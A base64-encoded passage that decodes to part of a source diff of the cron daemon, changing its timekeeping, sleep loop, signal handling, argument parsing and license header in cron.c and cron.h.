bl9zeW5jKGludCBzZWNyZXMpIHsKLSAJc3RydWN0IHRtICp0bTsKLQotCVRhcmdldFRpbWUgPSB0 aW1lKCh0aW1lX3QqKTApOwotCWlmIChzZWNyZXMgIT0gMCkgewotCQlUYXJnZXRUaW1lICs9IDE7 Ci0JfSBlbHNlIHsKLQkJdG0gPSBsb2NhbHRpbWUoJlRhcmdldFRpbWUpOwotCQlUYXJnZXRUaW1l ICs9ICg2MCAtIHRtLT50bV9zZWMpOwotCX0KLX0KK3NldF90aW1lKGludCBpbml0aWFsaXplKSB7 CisJc3RydWN0IHRtIHRtOworCXN0YXRpYyBpbnQgaXNkc3Q7CiAKLXN0YXRpYyBpbnQKLXRpbWVz cGVjX3N1YnRyYWN0KHN0cnVjdCB0aW1lc3BlYyAqcmVzdWx0LCBzdHJ1Y3QgdGltZXNwZWMgKngs Ci0gICAgc3RydWN0IHRpbWVzcGVjICp5KQotewotCXRpbWVfdCBuc2VjOworCVN0YXJ0VGltZSA9 IHRpbWUoTlVMTCk7CiAKLQkvKiBQZXJmb3JtIHRoZSBjYXJyeSBmb3IgdGhlIGxhdGVyIHN1YnRy YWN0aW9uIGJ5IHVwZGF0aW5nIHkuICovCi0JaWYgKHgtPnR2X25zZWMgPCB5LT50dl9uc2VjKSB7 Ci0JCW5zZWMgPSAoeS0+dHZfbnNlYyAtIHgtPnR2X25zZWMpIC8gMTAwMDAwMDAgKyAxOwotCQl5 LT50dl9uc2VjIC09IDEwMDAwMDAwMDAgKiBuc2VjOwotCQl5LT50dl9zZWMgKz0gbnNlYzsKKwkv KiBXZSBhZGp1c3QgdGhlIHRpbWUgdG8gR01UIHNvIHdlIGNhbiBjYXRjaCBEU1QgY2hhbmdlcy4g Ki8KKwl0bSA9ICpsb2NhbHRpbWUoJlN0YXJ0VGltZSk7CisJaWYgKGluaXRpYWxpemUgfHwgdG0u dG1faXNkc3QgIT0gaXNkc3QpIHsKKwkJaXNkc3QgPSB0bS50bV9pc2RzdDsKKwkJR01Ub2ZmID0g Z2V0X2dtdG9mZigmU3RhcnRUaW1lLCAmdG0pOworCQlEZWJ1ZyhEU0NILCAoIlslbGRdIEdNVG9m Zj0lbGRcbiIsCisJCSAgICAobG9uZylnZXRwaWQoKSwgKGxvbmcpR01Ub2ZmKSkKIAl9Ci0JaWYg KHgtPnR2X25zZWMgLSB5LT50dl9uc2VjID4gMTAwMDAwMDAwMCkgewotCQluc2VjID0gKHgtPnR2 X25zZWMgLSB5LT50dl9uc2VjKSAvIDEwMDAwMDAwMDA7Ci0JCXktPnR2X25zZWMgKz0gMTAwMDAw MDAwMCAqIG5zZWM7Ci0JCXktPnR2X3NlYyAtPSBuc2VjOwotCX0KLSAgICAgCi0JLyogdHZfbnNl YyBpcyBjZXJ0YWlubHkgcG9zaXRpdmUuICovCi0JcmVzdWx0LT50dl9zZWMgPSB4LT50dl9zZWMg LSB5LT50dl9zZWM7Ci0JcmVzdWx0LT50dl9uc2VjID0geC0+dHZfbnNlYyAtIHktPnR2X25zZWM7 Ci0gICAgIAotCS8qIFJldHVybiBUcnVlIGlmIHJlc3VsdCBpcyBuZWdhdGl2ZS4gKi8KLQlyZXR1 cm4gKHgtPnR2X3NlYyA8IHktPnR2X3NlYyk7CisJY2xvY2tUaW1lID0gKFN0YXJ0VGltZSArIEdN VG9mZikgLyAodGltZV90KVNFQ09ORFNfUEVSX01JTlVURTsKIH0KIAorLyoKKyAqIFRyeSB0byBq dXN0IGhpdCB0aGUgbmV4dCBtaW51dGUuCisgKi8KIHN0YXRpYyB2b2lkCi1jcm9uX3NsZWVwKGNy b25fZGIgKmRiLCBpbnQgc2VjcmVzKQotewotCWludCBzZWNvbmRzX3RvX3dhaXQ7Ci0JaW50IHJ2 YWw7Ci0Jc3RydWN0IHRpbWVzcGVjIGN0aW1lLCB0dGltZSwgc3RpbWUsIHJlbXRpbWU7Ci0KLQkv KgotCSAqIExvb3AgdW50aWwgd2UgcmVhY2ggdGhlIHRvcCBvZiB0aGUgbmV4dCBtaW51dGUsIHNs ZWVwIHdoZW4gcG9zc2libGUuCi0JICovCi0KLQlmb3IgKDs7KSB7Ci0JCWNsb2NrX2dldHRpbWUo Q0xPQ0tfUkVBTFRJTUUsICZjdGltZSk7Ci0JCXR0aW1lLnR2X3NlYyA9IFRhcmdldFRpbWU7Ci0J CXR0aW1lLnR2X25zZWMgPSAwOwotCQl0aW1lc3BlY19zdWJ0cmFjdCgmc3RpbWUsICZ0dGltZSwg JmN0aW1lKTsKLQorY3Jvbl9zbGVlcChpbnQgdGFyZ2V0KSB7CisJdGltZV90IHQxLCB0MjsKKwl1 bnNpZ25lZCBjaGFyIHBva2U7CisJaW50IG5mZHMsIGZkOworCXNvY2tsZW5fdCBzdW5sZW47CisJ c3RhdGljIGZkX3NldCAqZmRzcjsKKwlzdHJ1Y3Qgc29ja2FkZHJfdW4gc191bjsKKworCXN0cnVj dCB0aW1ldmFsIHNlY29uZHNfdG9fd2FpdDsKKwlzZWNvbmRzX3RvX3dhaXQudHZfdXNlYyA9IDA7 CisKKwl0MSA9IHRpbWUoTlVMTCkgKyBHTVRvZmY7CisJc2Vjb25kc190b193YWl0LnR2X3NlYyA9 IChpbnQpKHRhcmdldCAqIFNFQ09ORFNfUEVSX01JTlVURSAtIHQxKSArIDE7CisJRGVidWcoRFND SCwgKCJbJWxkXSBUYXJnZXQgdGltZT0lbGQsIHNlYy10by13YWl0PSVsZFxuIiwKKwkgICAgKGxv bmcpZ2V0cGlkKCksIChsb25nKXRhcmdldCpTRUNPTkRTX1BFUl9NSU5VVEUsIHNlY29uZHNfdG9f d2FpdC50dl9zZWMpKQorCisJZmRzciA9IChmZF9zZXQgKiljYWxsb2MoaG93bWFueShjcm9uU29j ayArIDEsIE5GREJJVFMpLAorCQkJc2l6ZW9mKGZkX21hc2spKTsKKworCXdoaWxlIChzZWNvbmRz X3RvX3dhaXQudHZfc2VjID4gMCAmJiBzZWNvbmRzX3RvX3dhaXQudHZfc2VjIDwgNjUpIHsKKwkJ cG9rZSA9IFJFTE9BRF9DUk9OOworCQlpZiAoZmRzcikKKwkJCUZEX1NFVChjcm9uU29jaywgZmRz cik7CiAJCS8qCi0JCSAqIElmIHRoZSBzZWNvbmRzX3RvX3dhaXQgdmFsdWUgaXMgaW5zYW5lLCBq dW1wIHRoZSBjcm9uCisJCSAqIENoZWNrIHRvIHNlZSBpZiB3ZSB3ZXJlIGludGVycnVwdGVkIGJ5 IGEgc2lnbmFsLgorCQkgKiBJZiBzbywgc2VydmljZSB0aGUgc2lnbmFsKHMpIHRoZW4gY29udGlu dWUgc2xlZXBpbmcKKwkJICogd2hlcmUgd2UgbGVmdCBvZmYuCiAJCSAqLwotCi0JCWlmIChzdGlt ZS50dl9zZWMgPCAtNjAwIHx8IHN0aW1lLnR2X3NlYyA+IDYwMCkgewotCQkJY3Jvbl9jbGVhbihk Yik7Ci0JCQljcm9uX3N5bmMoc2VjcmVzKTsKLQkJCWNvbnRpbnVlOworCQluZmRzID0gc2VsZWN0 KGNyb25Tb2NrICsgMSwgZmRzciwgTlVMTCwgTlVMTCwgJnNlY29uZHNfdG9fd2FpdCk7CisJCWlm IChuZmRzID09IDApCisJCQlicmVhazsgICAgICAgICAgLyogdGltZXIgZXhwaXJlZCAqLworCQlp ZiAobmZkcyA9PSAtMSAmJiBlcnJubyAhPSBFSU5UUikKKwkJCWJyZWFrOyAgICAgICAgICAvKiBh biBlcnJvciBvY2N1cnJlZCAqLworCQlpZiAobmZkcyA+IDApIHsKKwkJCURlYnVnKERTQ0gsICgi WyVsZF0gR290IGEgcG9rZSBvbiB0aGUgc29ja2V0XG4iLAorCQkJCQkJKGxvbmcpZ2V0cGlkKCkp KQorCQkJc3VubGVuID0gc2l6ZW9mKHNfdW4pOworCQkJZmQgPSBhY2NlcHQoY3JvblNvY2ssIChz dHJ1Y3Qgc29ja2FkZHIgKikmc191biwgJnN1bmxlbik7CisJCQlpZiAoZmQgPj0gMCAmJiBmY250 bChmZCwgRl9TRVRGTCwgT19OT05CTE9DSykgPT0gMCkgeworCQkJCSh2b2lkKSByZWFkKGZkLCAm cG9rZSwgMSk7CisJCQkJY2xvc2UoZmQpOworCQkJCWlmIChwb2tlICYgUkVMT0FEX0NST04pIHsK KwkJCQkJZGF0YWJhc2UubXRpbWUgPSAodGltZV90KTA7CisJCQkJCWxvYWRfZGF0YWJhc2UoJmRh dGFiYXNlKTsKKwkJCQl9CisJCQl9CiAJCX0KLQotCQlzZWNvbmRzX3RvX3dhaXQgPSAoc3RpbWUu dHZfbnNlYyA+IDApID8gc3RpbWUudHZfc2VjICsgMSA6Ci0JCSAgICBzdGltZS50dl9zZWM7Ci0K LQkJRGVidWcoRFNDSCwgKCJbJWRdIFRhcmdldFRpbWU9JWxkLCBzZWMtdG8td2FpdD0lZFxuIiwK LQkJCWdldHBpZCgpLCAobG9uZylUYXJnZXRUaW1lLCBzZWNvbmRzX3RvX3dhaXQpKQotCi0JCS8q Ci0JCSAqIElmIHdlJ3ZlIHJ1biBvdXQgb2Ygd2FpdCB0aW1lIG9yIHRoZXJlIGFyZSBubyBqb2Jz IGxlZnQKLQkJICogdG8gcnVuLCBicmVhawotCQkgKi8KLQotCQlpZiAoc3RpbWUudHZfc2VjIDwg MCkKLQkJCWJyZWFrOwotCQlpZiAoam9iX3J1bnF1ZXVlKCkgPT0gMCkgewotCQkJRGVidWcoRFND SCwgKCJbJWRdIHNsZWVwaW5nIGZvciAlZCBzZWNvbmRzXG4iLAotCQkJCWdldHBpZCgpLCBzZWNv bmRzX3RvX3dhaXQpKQotCi0JCQlmb3IgKDs7KSB7Ci0JCQkJcnZhbCA9IG5hbm9zbGVlcCgmc3Rp bWUsICZyZW10aW1lKTsKLQkJCQlpZiAocnZhbCA9PSAwIHx8IGVycm5vICE9IEVJTlRSKQotCQkJ CQlicmVhazsKLQkJCQlzdGltZS50dl9zZWMgPSByZW10aW1lLnR2X3NlYzsKLQkJCQlzdGltZS50 dl9uc2VjID0gcmVtdGltZS50dl9uc2VjOworCQllbHNlIHsKKwkJCWlmIChnb3Rfc2lnaHVwKSB7 CisJCQkJZ290X3NpZ2h1cCA9IDA7CisJCQkJbG9nX2Nsb3NlKCk7CisJCQl9CisJCQlpZiAoZ290 X3NpZ2NobGQpIHsKKwkJCQlnb3Rfc2lnY2hsZCA9IDA7CisJCQkJc2lnY2hsZF9yZWFwZXIoKTsK IAkJCX0KIAkJfQorCQl0MiA9IHRpbWUoTlVMTCkgKyBHTVRvZmY7CisJCXNlY29uZHNfdG9fd2Fp dC50dl9zZWMgLT0gKGludCkodDIgLSB0MSk7CisJCXQxID0gdDI7CiAJfQogfQogCi0KLS8qIGlm IHRoZSB0aW1lIHdhcyBjaGFuZ2VkIGFicnVwdGx5LCBjbGVhciB0aGUgZmxhZ3MgcmVsYXRlZAot ICogdG8gdGhlIGRheWxpZ2h0IHRpbWUgc3dpdGNoIGhhbmRsaW5nIHRvIGF2b2lkIHN0cmFuZ2Ug ZWZmZWN0cwotICovCi0KIHN0YXRpYyB2b2lkCi1jcm9uX2NsZWFuKGRiKQotCWNyb25fZGIJKmRi OwotewotCXVzZXIJCSp1OwotCWVudHJ5CQkqZTsKK3NpZ2h1cF9oYW5kbGVyKGludCB4KSB7CisJ Z290X3NpZ2h1cCA9IDE7Cit9CiAKLQlsYXN0X3RpbWUgPSAwOworc3RhdGljIHZvaWQKK3NpZ2No bGRfaGFuZGxlcihpbnQgeCkgeworCWdvdF9zaWdjaGxkID0gMTsKK30KIAotCWZvciAodSA9IGRi LT5oZWFkOyAgdSAhPSBOVUxMOyAgdSA9IHUtPm5leHQpIHsKLQkJZm9yIChlID0gdS0+Y3JvbnRh YjsgIGUgIT0gTlVMTDsgIGUgPSBlLT5uZXh0KSB7Ci0JCQllLT5mbGFncyAmPSB+KFJVTl9BVHxO T1RfVU5USUwpOwotCQl9Ci0JfQorc3RhdGljIHZvaWQKK3F1aXQoaW50IHgpIHsKKwlwaWRmaWxl X3JlbW92ZShwZmgpOworCV9leGl0KDApOwogfQogCi0jaWZkZWYgVVNFX1NJR0NITEQKIHN0YXRp YyB2b2lkCi1zaWdjaGxkX2hhbmRsZXIoaW50IHgpCi17Ci0JV0FJVF9UCQl3YWl0ZXI7Ci0JUElE X1QJCXBpZDsKK3NpZ2NobGRfcmVhcGVyKHZvaWQpIHsKKwlXQUlUX1Qgd2FpdGVyOworCVBJRF9U IHBpZDsKIAotCWZvciAoOzspIHsKLSNpZmRlZiBQT1NJWAorCWRvIHsKIAkJcGlkID0gd2FpdHBp ZCgtMSwgJndhaXRlciwgV05PSEFORyk7Ci0jZWxzZQotCQlwaWQgPSB3YWl0Mygmd2FpdGVyLCBX Tk9IQU5HLCAoc3RydWN0IHJ1c2FnZSAqKTApOwotI2VuZGlmCiAJCXN3aXRjaCAocGlkKSB7CiAJ CWNhc2UgLTE6CisJCQlpZiAoZXJybm8gPT0gRUlOVFIpCisJCQkJY29udGludWU7CiAJCQlEZWJ1 ZyhEUFJPQywKLQkJCQkoIlslZF0gc2lnY2hsZC4uLm5vIGNoaWxkcmVuXG4iLCBnZXRwaWQoKSkp Ci0JCQlyZXR1cm47CisJCQkgICAgICAoIlslbGRdIHNpZ2NobGQuLi5ubyBjaGlsZHJlblxuIiwK KwkJCSAgICAgICAobG9uZylnZXRwaWQoKSkpCisJCQlicmVhazsKIAkJY2FzZSAwOgogCQkJRGVi dWcoRFBST0MsCi0JCQkJKCJbJWRdIHNpZ2NobGQuLi5ubyBkZWFkIGtpZHNcbiIsIGdldHBpZCgp KSkKLQkJCXJldHVybjsKKwkJCSAgICAgICgiWyVsZF0gc2lnY2hsZC4uLm5vIGRlYWQga2lkc1xu IiwKKwkJCSAgICAgICAobG9uZylnZXRwaWQoKSkpCisJCQlicmVhazsKIAkJZGVmYXVsdDoKIAkJ CURlYnVnKERQUk9DLAotCQkJCSgiWyVkXSBzaWdjaGxkLi4ucGlkICMlZCBkaWVkLCBzdGF0PSVk XG4iLAotCQkJCWdldHBpZCgpLCBwaWQsIFdFWElUU1RBVFVTKHdhaXRlcikpKQorCQkJICAgICAg KCJbJWxkXSBzaWdjaGxkLi4ucGlkICMlbGQgZGllZCwgc3RhdD0lZFxuIiwKKwkJCSAgICAgICAo bG9uZylnZXRwaWQoKSwgKGxvbmcpcGlkLCBXRVhJVFNUQVRVUyh3YWl0ZXIpKSkKKwkJCWJyZWFr OwogCQl9Ci0JfQorCX0gd2hpbGUgKHBpZCA+IDApOwogfQotI2VuZGlmIC8qVVNFX1NJR0NITEQq LwotCiAKIHN0YXRpYyB2b2lkCi1zaWdodXBfaGFuZGxlcihpbnQgeCkKLXsKLQlsb2dfY2xvc2Uo KTsKLX0KLQorcGFyc2VfYXJncyhpbnQgYXJnYywgY2hhciAqYXJndltdKSB7CisJaW50IGFyZ2No OwogCi1zdGF0aWMgdm9pZAotcGFyc2VfYXJncyhhcmdjLCBhcmd2KQotCWludAlhcmdjOwotCWNo YXIJKmFyZ3ZbXTsKLXsKLQlpbnQJYXJnY2g7Ci0JY2hhcgkqZW5kcDsKKwljaGFyICplbmRwOwog Ci0Jd2hpbGUgKChhcmdjaCA9IGdldG9wdChhcmdjLCBhcmd2LCAiajpKOm06b3N4OiIpKSAhPSAt MSkgeworCXdoaWxlICgtMSAhPSAoYXJnY2ggPSBnZXRvcHQoYXJnYywgYXJndiwgImo6SjptOm54 OiIpKSkgewogCQlzd2l0Y2ggKGFyZ2NoKSB7CisJCWRlZmF1bHQ6CisJCQl1c2FnZSgpOwogCQlj YXNlICdqJzoKIAkJCUppdHRlciA9IHN0cnRvdWwob3B0YXJnLCAmZW5kcCwgMTApOwogCQkJaWYg KCpvcHRhcmcgPT0gJ1wwJyB8fCAqZW5kcCAhPSAnXDAnIHx8IEppdHRlciA+IDYwKQogCQkJCWVy cngoRVJST1JfRVhJVCwKLQkJCQkgICAgICJiYWQgdmFsdWUgZm9yIGppdHRlcjogJXMiLCBvcHRh cmcpOworCQkJCQkJImJhZCB2YWx1ZSBmb3Igaml0dGVyOiAlcyIsIG9wdGFyZyk7CiAJCQlicmVh azsKIAkJY2FzZSAnSic6CiAJCQlSb290Sml0dGVyID0gc3RydG91bChvcHRhcmcsICZlbmRwLCAx MCk7Ci0JCQlpZiAoKm9wdGFyZyA9PSAnXDAnIHx8ICplbmRwICE9ICdcMCcgfHwgUm9vdEppdHRl ciA+IDYwKQorCQkJaWYoICpvcHRhcmcgPT0gJ1wwJyB8fCAqZW5kcCAhPSAnXDAnIHx8IFJvb3RK aXR0ZXIgPiA2MCkKIAkJCQllcnJ4KEVSUk9SX0VYSVQsCi0JCQkJICAgICAiYmFkIHZhbHVlIGZv ciByb290IGppdHRlcjogJXMiLCBvcHRhcmcpOworCQkJCQkJImJhZCB2YWx1ZSBmb3Igcm9vdCBq aXR0ZXI6ICVzIiwgb3B0YXJnKTsKIAkJCWJyZWFrOwogCQljYXNlICdtJzoKIAkJCWRlZm1haWx0 byA9IG9wdGFyZzsKIAkJCWJyZWFrOwotCQljYXNlICdvJzoKLQkJCWRzdF9lbmFibGVkID0gMDsK LQkJCWJyZWFrOwotCQljYXNlICdzJzoKLQkJCWRzdF9lbmFibGVkID0gMTsKLQkJCWJyZWFrOwog CQljYXNlICd4JzoKIAkJCWlmICghc2V0X2RlYnVnX2ZsYWdzKG9wdGFyZykpCiAJCQkJdXNhZ2Uo KTsKIAkJCWJyZWFrOwotCQlkZWZhdWx0OgotCQkJdXNhZ2UoKTsKLQkJfQotCX0KLX0KLQotc3Rh dGljIGludAotcnVuX2F0X3NlY3Jlcyhjcm9uX2RiICpkYikKLXsKLQl1c2VyICp1OwotCWVudHJ5 ICplOwotCi0JZm9yICh1ID0gZGItPmhlYWQ7ICB1ICE9IE5VTEw7ICB1ID0gdS0+bmV4dCkgewot CQlmb3IgKGUgPSB1LT5jcm9udGFiOyAgZSAhPSBOVUxMOyAgZSA9IGUtPm5leHQpIHsKLQkJCWlm ICgoZS0+ZmxhZ3MgJiBTRUNfUkVTKSAhPSAwKQotCQkJCXJldHVybiAxOworCQljYXNlICduJzoK KwkJCU5vRm9yayA9IDE7CisJCQlicmVhazsKIAkJfQogCX0KLQlyZXR1cm4gMDsKIH0KZGlmZiAt cnVOIC91c3Ivc3JjL3Vzci5zYmluL2Nyb24vY3Jvbi9jcm9uLmggZnJlZWJzZF9jcm9uL2Nyb24v Y3Jvbi5oCi0tLSAvdXNyL3NyYy91c3Iuc2Jpbi9jcm9uL2Nyb24vY3Jvbi5oCTIwMTQtMDEtMTYg MjE6NDM6NDkuMDAwMDAwMDAwICswMTAwCisrKyBmcmVlYnNkX2Nyb24vY3Jvbi9jcm9uLmgJMjAx NC0wNi0xMSAxNjo0Mjo1NS4yNzI0NDQyNzYgKzAyMDAKQEAgLTEsMzA3ICsxLDQ2IEBACiAvKiBD b3B5cmlnaHQgMTk4OCwxOTkwLDE5OTMsMTk5NCBieSBQYXVsIFZpeGllCiAgKiBBbGwgcmlnaHRz IHJlc2VydmVkCisgKi8KKworLyoKKyAqIENvcHlyaWdodCAoYykgMjAwNCBieSBJbnRlcm5ldCBT eXN0ZW1zIENvbnNvcnRpdW0sIEluYy4gKCJJU0MiKQorICogQ29weXJpZ2h0IChjKSAxOTk3LDIw MDAgYnkgSW50ZXJuZXQgU29mdHdhcmUgQ29uc29ydGl1bSwgSW5jLgogICoKLSAqIERpc3RyaWJ1 dGUgZnJlZWx5LCBleGNlcHQ6IGRvbid0IHJlbW92ZSBteSBuYW1lIGZyb20gdGhlIHNvdXJjZSBv cgotICogZG9jdW1lbnRhdGlvbiAoZG9uJ3QgdGFrZSBjcmVkaXQgZm9yIG15IHdvcmspLCBtYXJr IHlvdXIgY2hhbmdlcyAoZG9uJ3QKLSAqIGdldCBtZSBibGFtZWQgZm9yIHlvdXIgcG9zc2libGUg YnVncyksIGRvbid0IGFsdGVyIG9yIHJlbW92ZSB0aGlzCi0gKiBub3RpY2UuICBNYXkgYmUgc29s ZCBpZiBidWlsZGFibGUgc291cmNlIGlzIHByb3ZpZGVkIHRvIGJ1eWVyLiAgTm8KLSAqIHdhcnJh bnRlZSBvZiBhbnkga2luZCwgZXhwcmVzcyBvciBpbXBsaWVkLCBpcyBpbmNsdWRlZCB3aXRoIHRo aXMKLSAqIHNvZnR3YXJlOyB1c2UgYXQgeW91ciBvd24gcmlzaywgcmVzcG9uc2liaWxpdHkgZm9y IGRhbWFnZXMgKGlmIGFueSkgdG8KLSAqIGFueW9uZSByZXN1bHRpbmcgZnJvbSB0aGUgdXNlIG9m IHRoaXMgc29mdHdhcmUgcmVzdHMgZW50aXJlbHkgd2l0aCB0aGUKLSAqIHVzZXIuCisgKiBQZXJt aXNzaW9uIHRvIHVzZSwgY29weSwgbW9kaWZ5LCBhbmQgZGlzdHJpYnV0ZSB0aGlzIHNvZnR3YXJl IGZvciBhbnkKKyAqIHB1cnBvc2Ugd2l0aCBvciB3aXRob3V0IGZlZSBpcyBoZXJlYnkgZ3JhbnRl ZCwgcHJvdmlkZWQgdGhhdCB0aGUgYWJvdmUKKyAqIGNvcHlyaWdodCBub3RpY2UgYW5kIHRoaXMg cGVybWlzc2lvbiBub3RpY2UgYXBwZWFyIGluIGFsbCBjb3BpZXMuCiAgKgotICogU2VuZCBidWcg cmVwb3J0cywgYnVnIGZpeGVzLCBlbmhhbmNlbWVudHMsIHJlcXVlc3RzLCBmbGFtZXMsIGV0Yy4s IGFuZAotICogSSdsbCB0cnkgdG8ga2VlcCBhIHZlcnNpb24gdXAgdG8gZGF0ZS4gIEkgY2FuIGJl IHJlYWNoZWQgYXMgZm9sbG93czoKLSAqIFBhdWwgVml4aWUgICAgICAgICAgPHBhdWxAdml4LmNv bT4gICAgICAgICAgdXVuZXQhZGVjd3JsIXZpeGllIXBhdWwKKyAqIFRIRSBTT0ZUV0FSRSBJUyBQ Uk9WSURFRCAiQVMgSVMiIEFORCBJU0MgRElTQ0xBSU1TIEFMTCBXQVJSQU5USUVTCisgKiBXSVRI IFJFR0FSRCBUTyBUSElTIFNPRlRXQVJFIElOQ0xVRElORyBBTEwgSU1QTElFRCBXQVJSQU5USUVT IE9GCisgKiBNRVJDSEFOVEFCSUxJVFkgQU5EIEZJVE5FU1MuICBJTiBOTyBFVkVOVCBTSEFMTCBJ U0MgQkUgTElBQkxFIEZPUgorICogQU5ZIFNQRUNJQUwsIERJUkVDVCwgSU5ESVJFQ1QsIE9SIENP TlNFUVVFTlRJQUwgREFNQUdFUyBPUiBBTlkgREFNQUdFUworICogV0hBVFNPRVZFUiBSRVNVTFRJ TkcgRlJPTSBMT1NTIE9GIFVTRSwgREFUQSBPUiBQUk9GSVRTLCBXSEVUSEVSIElOIEFOCisgKiBB Q1RJT04gT0YgQ09OVFJBQ1QsIE5FR0xJR0VOQ0UgT1IgT1RIRVIgVE9SVElPVVMgQUNUSU9OLCBB UklTSU5HIE9VVAorICogT0YgT1IgSU4gQ09OTkVDVElPTiBXSVRIIFRIRSBVU0UgT1IgUEVSRk9S TUFOQ0UgT0YgVEhJUyBTT0ZUV0FSRS4KICAqLwogCiAvKiBjcm9uLmggLSBoZWFkZXIgZm9yIHZp eGllJ3MgY3JvbgogICoKLSAqICRGcmVlQlNEOiByZWxlYXNlLzEwLjAuMC91c3Iuc2Jpbi9jcm9u L2Nyb24vY3Jvbi5oIDI0MjEwMSAyMDEyLTEwLTI1IDIyOjU0OjI5WiBzb2JvbWF4ICQKKyAqICRJ ZDogY3Jvbi5oLHYgMS42IDIwMDQvMDEvMjMgMTg6NTY6NDIgdml4aWUgRXhwICQKICAqCiAgKiB2 aXggMTRub3Y4OCBbcmVzdCBvZiBsb2cgaXMgaW4gUkNTXQogICogdml4IDE0amFuODcgWzAgb3Ig NyBjYW4gYmUgc3VuZGF5OyB0aGFua3MsIG13bUBiZXJrZWxleV0KICAqIHZpeCAzMGRlYzg2IFt3 cml0dGVuXQogICovCiAKLS8qIHJlb3JkZXIgdGhlc2UgI2luY2x1ZGUncyBhdCB5b3VyIHBlcmls ICovCi0KLSNpbmNsdWRlIDxzeXMvdHlwZXMuaD4KLSNpbmNsdWRlIDxzeXMvcGFyYW0uaD4KLSNp bmNsdWRlICJjb21wYXQuaCIKKyNkZWZpbmUgQ1JPTl9WRVJTSU9OICJWNS4wIgogCi0jaW5jbHVk ZSA8Yml0c3RyaW5nLmg+Ci0jaW5jbHVkZSA8Y3R5cGUuaD4KK3Vuc2lnbmVkIEppdHRlciwgUm9v dEppdHRlcjsKK2V4dGVybiB1bnNpZ25lZCBKaXR0ZXIsIFJvb3RKaXR0ZXI7CitleHRlcm4gc3Ry dWN0IHBpZGZoICpwZmg7CiAjaW5jbHVkZSA8ZXJyLmg+Ci0jaW5jbHVkZSA8ZXJybm8uaD4KICNp bmNsdWRlIDxsaWJ1dGlsLmg+Ci0jaW5jbHVkZSA8cHdkLmg+Ci0jaW5jbHVkZSA8c2lnbmFsLmg+ Ci0jaW5jbHVkZSA8c3RkaW8uaD4KLSNpbmNsdWRlIDx0aW1lLmg+Ci0jaW5jbHVkZSA8c3lzL3dh aXQuaD4KIAotI2luY2x1ZGUgInBhdGhuYW1lcy5oIgorI2RlZmluZSBTWVNfTkFNRSAiKnN5c3Rl bSoiCiAjaW5jbHVkZSAiY29uZmlnLmgiCiAjaW5jbHVkZSAiZXh0ZXJucy5oIgotCi0JLyogdGhl c2UgYXJlIHJlYWxseSBpbW11dGFibGUsIGFuZCBhcmUKLQkgKiAgIGRlZmluZWQgZm9yIHN5bWJv bGljIGNvbnZlbmllbmNlIG9ubHkKLQkgKiBUUlVFLCBGQUxTRSwgYW5kIEVSUiBtdXN0IGJlIGRp c3RpbmN0Ci0JICogRVJSIG11c3QgYmUgPCBPSy4KLQkgKi8KLSNkZWZpbmUgVFJVRQkJMQotI2Rl ZmluZSBGQUxTRQkJMAotCS8qIHN5c3RlbSBjYWxscyByZXR1cm4gdGhpcyBvbiBzdWNjZXNzICov Ci0jZGVmaW5lIE9LCQkwCi0JLyogICBvciB0aGlzIG9uIGVycm9yICovCi0jZGVmaW5lIEVSUgkJ KC0xKQotCi0JLyogdHVybiB0aGlzIG9uIHRvIGdldCAnLXgnIGNvZGUgKi8KLSNpZm5kZWYgREVC VUdHSU5HCi0jZGVmaW5lIERFQlVHR0lORwlGQUxTRQotI2VuZGlmCi0KLSNkZWZpbmUgUkVBRF9Q SVBFCTAJLyogd2hpY2ggZW5kIG9mIGEgcGlwZSBwYWlyIGRvIHlvdSByZWFkPyAqLwotI2RlZmlu ZSBXUklURV9QSVBFCTEJLyogICBvciB3cml0ZSB0bz8gKi8KLSNkZWZpbmUgU1RESU4JCTAJLyog d2hhdCBpcyBzdGRpbidzIGZpbGUgZGVzY3JpcHRvcj8gKi8KLSNkZWZpbmUgU1RET1VUCQkxCS8q ICAgc3Rkb3V0J3M/ICovCi0jZGVmaW5lIFNUREVSUgkJMgkvKiAgIHN0ZGVycidzPyAqLwotI2Rl ZmluZSBFUlJPUl9FWElUCTEJLyogZXhpdCgpIHdpdGggdGhpcyB3aWxsIHNjYXJlIHRoZSBzaGVs bCAqLwotI2RlZmluZQlPS19FWElUCQkwCS8qIGV4aXQoKSB3aXRoIHRoaXMgaXMgY29uc2lkZXJl ZCAnbm9ybWFsJyAqLwotI2RlZmluZQlNQVhfRk5BTUUJMTAwCS8qIG1heCBsZW5ndGggb2YgaW50 ZXJuYWxseSBnZW5lcmF0ZWQgZm4gKi8KLSNkZWZpbmUJTUFYX0NPTU1BTkQJMTAwMAkvKiBtYXgg bGVuZ3RoIG9mIGludGVybmFsbHkgZ2VuZXJhdGVkIGNtZCAqLwotI2RlZmluZQlNQVhfRU5WU1RS CTEwMDAJLyogbWF4IGxlbmd0aCBvZiBlbnZ2YXI9dmFsdWVcMCBzdHJpbmdzICovCi0jZGVmaW5l CU1BWF9URU1QU1RSCTEwMAkvKiBvYnZpb3VzICovCi0jZGVmaW5lCU1BWF9VTkFNRQkyMAkvKiBt YXggbGVuZ3RoIG9mIHVzZXJuYW1lLCBzaG91bGQgYmUgb3ZlcmtpbGwgKi8KLSNkZWZpbmUJUk9P VF9VSUQJMAkvKiBkb24ndCBjaGFuZ2UgdGhpcywgaXQgcmVhbGx5IG11c3QgYmUgcm9vdCAqLwot I2RlZmluZQlST09UX1VTRVIJInJvb3QiCS8qIGRpdHRvICovCi0jZGVmaW5lCVNZU19OQU1FCSIq c3lzdGVtKiIgLyogbWFnaWMgb3duZXIgbmFtZSBmb3Igc3lzdGVtIGNyb250YWIgKi8KLQotCQkJ CS8qIE5PVEU6IHRoZXNlIGNvcnJlc3BvbmQgdG8gRGVidWdGbGFnTmFtZXMsCi0JCQkJICoJZGVm aW5lZCBiZWxvdy4KLQkJCQkgKi8KLSNkZWZpbmUJREVYVAkJMHgwMDAxCS8qIGV4dGVuZCBmbGFn IGZvciBvdGhlciBkZWJ1ZyBtYXNrcyAqLwotI2RlZmluZQlEU0NICQkweDAwMDIJLyogc2NoZWR1 bGluZyBkZWJ1ZyBtYXNrICovCi0jZGVmaW5lCURQUk9DCQkweDAwMDQJLyogcHJvY2VzcyBjb250 cm9sIGRlYnVnIG1hc2sgKi8KLSNkZWZpbmUJRFBBUlMJCTB4MDAwOAkvKiBwYXJzaW5nIGRlYnVn IG1hc2sgKi8KLSNkZWZpbmUJRExPQUQJCTB4MDAxMAkvKiBkYXRhYmFzZSBsb2FkaW5nIGRlYnVn IG1hc2sgKi8KLSNkZWZpbmUJRE1JU0MJCTB4MDAyMAkvKiBtaXNjIGRlYnVnIG1hc2sgKi8KLSNk 